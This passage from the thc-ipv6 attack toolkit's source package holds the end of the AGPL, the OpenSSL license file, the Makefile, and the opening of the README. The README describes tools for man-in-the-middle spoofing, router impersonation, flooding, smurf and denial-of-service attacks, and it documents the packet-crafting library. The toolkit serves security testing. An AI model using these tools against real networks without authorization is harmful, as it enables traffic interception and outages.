stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Remote Network Interaction; Use with the GNU General Public License. Notwithstanding any other provision of this License, if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network (if your version supports such interaction) an opportunity to receive the Corresponding Source of your version by providing access to the Corresponding Source from a network server at no charge, through some standard or customary means of facilitating copying of software. This Corresponding Source shall include the Corresponding Source for any work covered by version 3 of the GNU General Public License that is incorporated pursuant to the following paragraph. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the work with which it is combined will remain governed by version 3 of the GNU General Public License. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU Affero General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU Affero General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU Affero General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If your software can interact with users remotely through a computer network, you should also make sure that it provides a way for users to get its source. For example, if your program is a web application, its interface could display a "Source" link that leads users to an archive of the code. There are many ways you could offer source, and different solutions will be better for different programs; see section 13 for the specific requirements. You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see . thc-ipv6-3.8/LICENSE.OPENSSL000066400000000000000000000205341376121567700151760ustar00rootroot00000000000000/* * (c) 2002, 2003, 2004 by Jason McLaughlin and Riadh Elloumi * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ Certain source files in this program permit linking with the OpenSSL library (http://www.openssl.org), which otherwise wouldn't be allowed under the GPL. For purposes of identifying OpenSSL, most source files giving this permission limit it to versions of OpenSSL having a license identical to that listed in this file (LICENSE.OpenSSL). It is not necessary for the copyright years to match between this file and the OpenSSL version in question. However, note that because this file is an extension of the license statements of these source files, this file may not be changed except with permission from all copyright holders of source files in this program which reference this file. LICENSE ISSUES ============== The OpenSSL toolkit stays under a dual license, i.e. both the conditions of the OpenSSL License and the original SSLeay license apply to the toolkit. See below for the actual license texts. Actually both licenses are BSD-style Open Source licenses. In case of any license issues related to OpenSSL please contact openssl-core@openssl.org. OpenSSL License --------------- /* ==================================================================== * Copyright (c) 1998-2001 The OpenSSL Project. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * 3. All advertising materials mentioning features or use of this * software must display the following acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" * * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to * endorse or promote products derived from this software without * prior written permission. For written permission, please contact * openssl-core@openssl.org. * * 5. Products derived from this software may not be called "OpenSSL" * nor may "OpenSSL" appear in their names without prior written * permission of the OpenSSL Project. * * 6. Redistributions of any form whatsoever must retain the following * acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit (http://www.openssl.org/)" * * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * ==================================================================== * * This product includes cryptographic software written by Eric Young * (eay@cryptsoft.com). This product includes software written by Tim * Hudson (tjh@cryptsoft.com). * */ Original SSLeay License ----------------------- /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) * All rights reserved. * * This package is an SSL implementation written * by Eric Young (eay@cryptsoft.com). * The implementation was written so as to conform with Netscapes SSL. * * This library is free for commercial and non-commercial use as long as * the following conditions are aheared to. The following conditions * apply to all code found in this distribution, be it the RC4, RSA, * lhash, DES, etc., code; not just the SSL code. The SSL documentation * included with this distribution is covered by the same copyright terms * except that the holder is Tim Hudson (tjh@cryptsoft.com). * * Copyright remains Eric Young's, and as such any Copyright notices in * the code are not to be removed. * If this package is used in a product, Eric Young should be given attribution * as the author of the parts of the library used. * This can be in the form of a textual message at program startup or * in documentation (online or textual) provided with the package. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * "This product includes cryptographic software written by * Eric Young (eay@cryptsoft.com)" * The word 'cryptographic' can be left out if the rouines from the library * being used are not cryptographic related :-). * 4. If you include any Windows specific code (or a derivative thereof) from * the apps directory (application code) you must include an acknowledgement: * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" * * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ thc-ipv6-3.8/Makefile000066400000000000000000000062371376121567700145130ustar00rootroot00000000000000# Comment out if openssl-dev is not present # of if you want to compile statc HAVE_SSL=yes # comment in if you want to compile static tools #STATIC=-static #CC=gcc #CFLAGS=-g CFLAGS+=-g -O3 -march=native -flto -falign-functions -falign-jumps -falign-loops -falign-labels -freorder-blocks CFLAGS+=$(if $(HAVE_SSL),-D_HAVE_SSL,) LDFLAGS+=-lpcap $(if $(HAVE_SSL),-lssl -lcrypto,) PROGRAMS=parasite6 dos-new-ip6 detect-new-ip6 fake_router6 fake_advertise6 fake_solicitate6 fake_mld6 fake_mld26 fake_mldrouter6 flood_mldrouter6 fake_mipv6 redir6 smurf6 alive6 toobig6 rsmurf6 implementation6 implementation6d sendpees6 sendpeesmp6 randicmp6 fuzz_ip6 flood_mld6 flood_mld26 flood_router6 flood_advertise6 flood_solicitate6 trace6 exploit6 denial6 fake_dhcps6 flood_dhcpc6 fake_dns6d fragmentation6 kill_router6 fake_dnsupdate6 ndpexhaust6 detect_sniffer6 dump_router6 fake_router26 flood_router26 passive_discovery6 dnsrevenum6 inverse_lookup6 node_query6 address6 covert_send6 covert_send6d inject_alive6 firewall6 ndpexhaust26 fake_pim6 thcsyn6 redirsniff6 flood_redir6 four2six dump_dhcp6 flood_rs6 fuzz_dhcps6 fuzz_dhcpc6 toobigsniff6 flood_unreach6 connect6 EXTRA=dnssecwalk dnsdict6 thcping6 fragrouter6 connsplit6 LIBS=thc-ipv6-lib.o STRIP=strip PREFIX=/usr/local MANPREFIX=${PREFIX}/share/man MANPAGES=$(foreach p, $(PROGRAMS) $(EXTRA), $(p).8) all: $(LIBS) $(PROGRAMS) $(EXTRA) $(MANPAGES) dnssecwalk: dnssecwalk.c $(CC) $(CFLAGS) $(CPPFLAGS) $(STATIC) -o $@ $^ $(LDFLAGS) dnsdict6: dnsdict6.c $(CC) $(CFLAGS) $(CPPFLAGS) $(STATIC) -o $@ $^ $(LDFLAGS) -lpthread -lresolv thcping6: thcping6.c $(LIBS) $(CC) $(CFLAGS) $(CPPFLAGS) $(STATIC) -o $@ $^ $(LDFLAGS) -lrt fragrouter6: fragrouter6.c $(LIBS) -$(CC) $(CFLAGS) $(CPPFLAGS) -o $@ $^ $(LDFLAGS) -lnetfilter_queue || /bin/echo -e "\nCompilation of fragrouter6 failed, you have to install libnetfilter-queue-dev for this!\n" connsplit6: connsplit6.c $(LIBS) -$(CC) $(CFLAGS) $(CPPFLAGS) -o $@ $^ $(LDFLAGS) -lnetfilter_queue || /bin/echo -e "\nCompilation of connsplit6 failed, you have to install libnetfilter-queue-dev for this!\n" %: %.c $(LIBS) $(CC) $(CFLAGS) $(CPPFLAGS) $(STATIC) -o $@ $^ $(LDFLAGS) strip: all -$(STRIP) $(PROGRAMS) $(EXTRA) install: all strip install -m0755 -d ${DESTDIR}${PREFIX}/bin -install -m0755 $(PROGRAMS) $(EXTRA) grep6.pl *.sh ${DESTDIR}${PREFIX}/bin install -m0755 -d ${DESTDIR}${MANPREFIX}/man8 install -m0644 -D thc-ipv6.8 ${DESTDIR}${MANPREFIX}/man8 install -m0644 -D $(MANPAGES) ${DESTDIR}${MANPREFIX}/man8 clean: rm -f $(PROGRAMS) $(EXTRA) $(LIBS) core DEADJOE *~ rm -f $(MANPAGES) backup: clean tar czvf ../thc-ipv6-bak.tar.gz * sync %.8: % @echo .TH $* 8 `date --iso-8601` THC "IPv6 ATTACK TOOLKIT" > $@ @echo .SH NAME >> $@ @echo .B $* >> $@ @./$*|tail -n +2|sed -e "s#\\./$*#$*#g" -e "s/^Syntax: \?/.SH SYNOPSIS\n/g" -e "s/Options:/.SH OPTIONS\n.nf\n/g" -e "s/^\(.*\):\$$/.SH \1\n/g" >> $@ @echo .SH AUTHOR >> $@ @echo "thc-ipv6 was written by van Hauser / THC" >> $@ @echo >> $@ @echo The homepage for this toolkit is: https://github.com/vanhauser-thc/thc-ipv6 >> $@ @echo >> $@ @echo .SH COPYRIGHT >> $@ @./$* |head -n1|sed -e "s#^\./##g" >> $@ .PHONY: all install clean man thc-ipv6-3.8/README000066400000000000000000000324131376121567700137260ustar00rootroot00000000000000 THC-IPV6-ATTACK-TOOLKIT (c) 2005-2020 vh@thc.org https://github.com/vanhauser-thc/thc-ipv6 Licensed under AGPLv3 (see LICENSE file) INTRODUCTION ============ This code was inspired when I got into touch with IPv6, learned more and more about it - and then found no tools to play (read: "hack") around with. First I tried to implement things with libnet, but then found out that the IPv6 implementation is only partial - and sucks. I tried to add the missing code, but well, it was not so easy, hence I saved my time and quickly wrote my own library. LIMITATIONS =========== This code currently only runs on: - Linux 2.6.x or newer (because of /proc usage) - Ethernet But this means for all linux guys that it will work for 98% of your use cases. Patches are welcome! (add "antispam" in the subject line to get through my anti-spam protection, otherwise the email will bounce) BUILDING ======== You must have libpcap-dev installed to be able to build the tools. Additionally libssl-dev and libnetfilter-queue-dev are recommended as well. These can be installed by (Kali, Debian, Ubuntu): sudo apt-get install libpcap-dev libssl-dev libnetfilter-queue-dev You can build the tools by running: make all You can install the tools and existing manual pages by running: make install THE TOOLS ========= The THC IPV6 ATTACK TOOLKIT comes already with lots of effective attacking tools: - parasite6: ICMPv6 neighbor solitication/advertisement spoofer, puts you as man-in-the-middle, same as ARP mitm (and parasite) - alive6: an effective alive scanng, which will detect all systems listening to this address - dnsdict6: parallized DNS IPv6 dictionary bruteforcer - fake_router6: announce yourself as a router on the network, with the highest priority - redir6: redirect traffic to you intelligently (man-in-the-middle) with a clever ICMPv6 redirect spoofer - toobig6: mtu decreaser with the same intelligence as redir6 - detect-new-ip6: detect new IPv6 devices which join the network, you can run a script to automatically scan these systems etc. - dos-new-ip6: detect new IPv6 devices and tell them that their chosen IP collides on the network (DOS). - trace6: very fast traceroute6 with supports ICMP6 echo request and TCP-SYN - flood_router6: flood a target with random router advertisements - flood_advertise6: flood a target with random neighbor advertisements - fuzz_ip6: fuzzer for IPv6 - implementation6: performs various implementation checks on IPv6 - implementation6d: listen daemon for implementation6 to check behind a FW - fake_mld6: announce yourself in a multicast group of your choice on the net - fake_mld26: same but for MLDv2 - fake_mldrouter6: fake MLD router messages - fake_mipv6: steal a mobile IP to yours if IPSEC is not needed for authentication - fake_advertiser6: announce yourself on the network - smurf6: local smurfer - rsmurf6: remote smurfer, known to work only against linux at the moment - exploit6: known IPv6 vulnerabilities to test against a target - denial6: a collection of denial-of-service tests againsts a target - thcping6: sends a hand crafted ping6 packet - sendpees6: a tool by willdamn@gmail.com, which generates a neighbor solicitation requests with a lot of CGAs (crypto stuff ;-) to keep the CPU busy. nice. and about 25 more tools for you to discover :-) Just run the tools without options and they will give you help and show the command line options. THE LIBRARY =========== The library thc-ipv6-lib.c is the heart and soul of all tools - and those you may want to write. Implementation is so simple, its usually just 2-4 lines to create a complete IPv6/ICMPv6 packet with the content of your choice. Your basic structure you use is (thc_ipv6_hdr *) e.g. thc_ipv6_hdr *my_ipv6_packet; int my_ipv6_packet_len; and you will never have to play with its options/fields. Whenever you want to build an IPv6 packet, you just write: my_ipv6_packet = thc_create_ipv6_extended(interface, prefer, &my_ipv6_packet_len, src6, dst6, ttl, length, label, class, version); if something fails, it returns NULL (only if my_ipv6_packet_len or dst6 do not exist or malloc fails). The options to thc_create_ipv6_extended are: (char*) interface - the interface on which you want to send out the packet (int) prefer - either PREFER_LINK (to use the link local address) or PREFER_HOST to use a host IPv6 address, and PREFER_GLOBAL to use a public (internet) IP6 address (default) (int *) &my_ipv6_packet_len - the size of the packet which will be created (unsigned char*) src6 - the source IP6 (OPTIONAL - will be selected if NULL) (unsigned char*) dst6 - the destination IP6 (in network format, 16 bytes long) usually the result of thc_resolve6("ipv6.google.com"); (int) ttl - the ttl of the packet (OPTIONAL - 0 will set this to 255) (int) length - the length which will be set in the header (OPTIONAL - 0 = real length) (int) label - the flow label (0 is fine) (int) class - the class of the packet (0 is fine) (int) version - the IP6 version (OPTIONAL - 0 will set this to version 6) It returns NULL on errors or a malloc'ed structure on success. free() it once you are done with it. Now you can set extension headers on top of it: thc_add_hdr_route(my_ipv6_packet, &my_ipv6_packet_len, routers, routerptr); thc_add_hdr_fragment(my_ipv6_packet, &my_ipv6_packet_len, offset, more_frags, id); thc_add_hdr_dst(my_ipv6_packet, &my_ipv6_packet_len, buf, buflen); thc_add_hdr_hopbyhop(my_ipv6_packet, &my_ipv6_packet_len, buf, buflen); thc_add_hdr_nonxt(my_ipv6_packet, &my_ipv6_packet_len, hdropt); thc_add_hdr_misc(my_ipv6_packet, &my_ipv6_packet_len, type, len, buf, buflen); The functions explained: _route: Add a Routing Forwarding Header (like IP Source Routing) (int) routers - the number of routers in routerptr (char**) routerptr - a *char[routers + 1] struct with router destinations in network format. See alive6.c for an example. _fragment: Add a Fragment Header (int) offset - the offset on which to the data should be written (note: put the offset location in bytes here, not in byte octets) (int) more_frags - set to 0 if it is the fragement, 1 on all others (int) id - an ID for the packet (same for all fragments) _dst: Add a Destination Options Header (char*) buf - a char buffer. you have to control this buffer yourself with but you want to write into it. (int) buflen - the length of buf _hopbyhop: Add a Hop-By-Hop Header (char*) buf - a char buffer. you have to control this buffer yourself with but you want to write into it. (int) buflen - the length of buf _nonxt: Specify that there will be no following headers whatsoever (int) hdropt - this options is currently ignored _misc: Specify a miscelleanous header. Use this if you want to design an invalid or non-existing extension header. (int) type - The type ID to specify the header as (int) len - The length to advertise the 